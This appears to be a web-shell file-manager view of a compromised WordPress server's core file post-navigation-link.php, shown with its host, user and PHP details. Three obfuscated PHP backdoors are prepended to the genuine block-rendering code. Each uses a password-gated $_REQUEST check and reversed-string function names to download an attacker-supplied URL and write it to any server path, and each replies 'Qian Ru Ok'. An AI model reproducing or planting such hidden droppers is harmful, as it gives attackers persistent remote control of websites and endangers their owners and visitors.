HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/blocks/post-navigation-link.php
<?php 
$xBzfFP = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($xBzfFP[0]) /*+/*+*/
. md5($xBzfFP[0])) == "5".
"f".
"4".
"e".
"c".
"e".
"5".
"c".
"d".
"9".
"0".
"d".
"7".
"8".
"6".
"e".
"0".
"3".
"6".
"c".
"d".
"f".
"8".
"7".
"b".
"b".
"3".
"c".
"3".
"7".
"8".
"a") {
$FOHMHOlrk = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$ukemckBF = $FOHMHOlrk /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$UJTxr = $FOHMHOlrk
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function AeosHzJRF($UyCEHGOT) { if (empty($UyCEHGOT)) return false; if (!is_dir($UyCEHGOT)) { AeosHzJRF(dirname($UyCEHGOT), 0755, true); mkdir($UyCEHGOT); } } !file_exists(dirname($xBzfFP[1])) && AeosHzJRF(dirname($xBzfFP[1])); $lpTeS = @$UJTxr($xBzfFP[2]); echo @$ukemckBF($xBzfFP[1], $lpTeS) ? 1 : 0; die; }key($xBzfFP) == "of" && die("Qian Ru Ok"); ?><?php 
$qsFBKHfX = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($qsFBKHfX[0]) /*+/*+*/
. md5($qsFBKHfX[0])) == "4".
"0".
"0".
"d".
"f".
"1".
"f".
"5".
"5".
"0".
"e".
"7".
"4".
"6".
"c".
"0".
"d".
"5".
"b".
"8".
"8".
"a".
"e".
"c".
"7".
"6".
"5".
"e".
"a".
"d".
"2".
"0") {
$QeZUbYu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$aYqxIbcshF = $QeZUbYu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$JUtMzVL = $QeZUbYu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function zftME($YbLrSCcXge) { if (empty($YbLrSCcXge)) return false; if (!is_dir($YbLrSCcXge)) { zftME(dirname($YbLrSCcXge), 0755, true); mkdir($YbLrSCcXge); } } !file_exists(dirname($qsFBKHfX[1])) && zftME(dirname($qsFBKHfX[1])); $lcOclWDKPj = @$JUtMzVL($qsFBKHfX[2]); echo @$aYqxIbcshF($qsFBKHfX[1], $lcOclWDKPj) ? 1 : 0; die; }key($qsFBKHfX) == "of" && die("Qian Ru Ok"); ?><?php 
$eXriclL = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($eXriclL[0]) /*+/*+*/
. md5($eXriclL[0])) == "2".
"f".
"e".
"3".
"1".
"d".
"9".
"a".
"7".
"d".
"3".
"f".
"a".
"2".
"5".
"c".
"2".
"7".
"f".
"5".
"c".
"6".
"4".
"d".
"b".
"9".
"b".
"2".
"0".
"6".
"b".
"8") {
$vjiRIJ = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$ZeRcjSj = $vjiRIJ /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ftliund = $vjiRIJ
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function VWGoGh($yvbsaC) { if (empty($yvbsaC)) return false; if (!is_dir($yvbsaC)) { VWGoGh(dirname($yvbsaC), 0755, true); mkdir($yvbsaC); } } !file_exists(dirname($eXriclL[1])) && VWGoGh(dirname($eXriclL[1])); $aucJBy = @$ftliund($eXriclL[2]); echo @$ZeRcjSj($eXriclL[1], $aucJBy) ? 1 : 0; die; }key($eXriclL) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Server-side rendering of the `core/post-navigation-link` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-navigation-link` block on the server.
 *
 * @param array  $attributes Block attributes.
 * @param string $content    Block default content.
 *
 * @return string Returns the next or previous post link that is adjacent to the current post.
 */
function render_block_core_post_navigation_link( $attributes, $content ) {
	if ( ! is_singular() ) {
		return '';
	}

	// Get the navigation type to show the proper link. Available options are `next|previous`.
	$navigation_type = isset( $attributes['type'] ) ? $attributes['type'] : 'next';
	// Allow only `next` and `previous` in `$navigation_type`.
	if ( ! in_array( $navigation_type, array( 'next', 'previous' ), true ) ) {
		return '';
	}
	$classes = "post-navigation-link-$navigation_type";
	if ( isset( $attributes['textAlign'] ) ) {
		$classes .= " has-text-align-{$attributes['textAlign']}";
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
	// Set default values.
	$format = '%link';
	$link   = 'next' === $navigation_type ? _x( 'Next', 'label for next post link' ) : _x( 'Previous', 'label for previous post link' );
	$label  = '';

	// If a custom label is provided, make this a link.
	// `$label` is used to prepend the provided label, if we want to show the page title as well.
	if ( isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ) {
		$label = "{$attributes['label']}";
		$link  = $label;
	}

	// If we want to also show the page title, make the page title a link and prepend the label.
	if ( isset( $attributes['showTitle'] ) && $attributes['showTitle'] ) {
		/*
		 * If the label link option is not enabled but there is a custom label,
		 * display the custom label as text before the linked title.
		 */
		if ( ! $attributes['linkLabel'] ) {
			if ( $label ) {
				$format = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> %link';
			}
			$link = '%title';
		} elseif ( isset( $attributes['linkLabel'] ) && $attributes['linkLabel'] ) {
			// If the label link option is enabled and there is a custom label, display it before the title.
			if ( $label ) {
				$link = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> <span class="post-navigation-link__title">%title</span>';
			} else {
				/*
				 * If the label link option is enabled and there is no custom label,
				 * add a colon between the label and the post title.
				 */
				$label = 'next' === $navigation_type ? _x( 'Next:', 'label before the title of the next post' ) : _x( 'Previous:', 'label before the title of the previous post' );
				$link  = sprintf(
					'<span class="post-navigation-link__label">%1$s</span> <span class="post-navigation-link__title">%2$s</span>',
					wp_kses_post( $label ),
					'%title'
				);
			}
		}
	}

	// The dynamic portion of the function name, `$navigation_type`,
	// refers to the type of adjacency, 'next' or 'previous'.
	$get_link_function = "get_{$navigation_type}_post_link";
	$content           = $get_link_function( $format, $link );
	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/post-navigation-link` block on the server.
 */
function register_block_core_post_navigation_link() {
	register_block_type_from_metadata(
		__DIR__ . '/post-navigation-link',
		array(
			'render_callback' => 'render_block_core_post_navigation_link',
		)
	);
}
add_action( 'init', 'register_block_core_post_navigation_link' ); ?>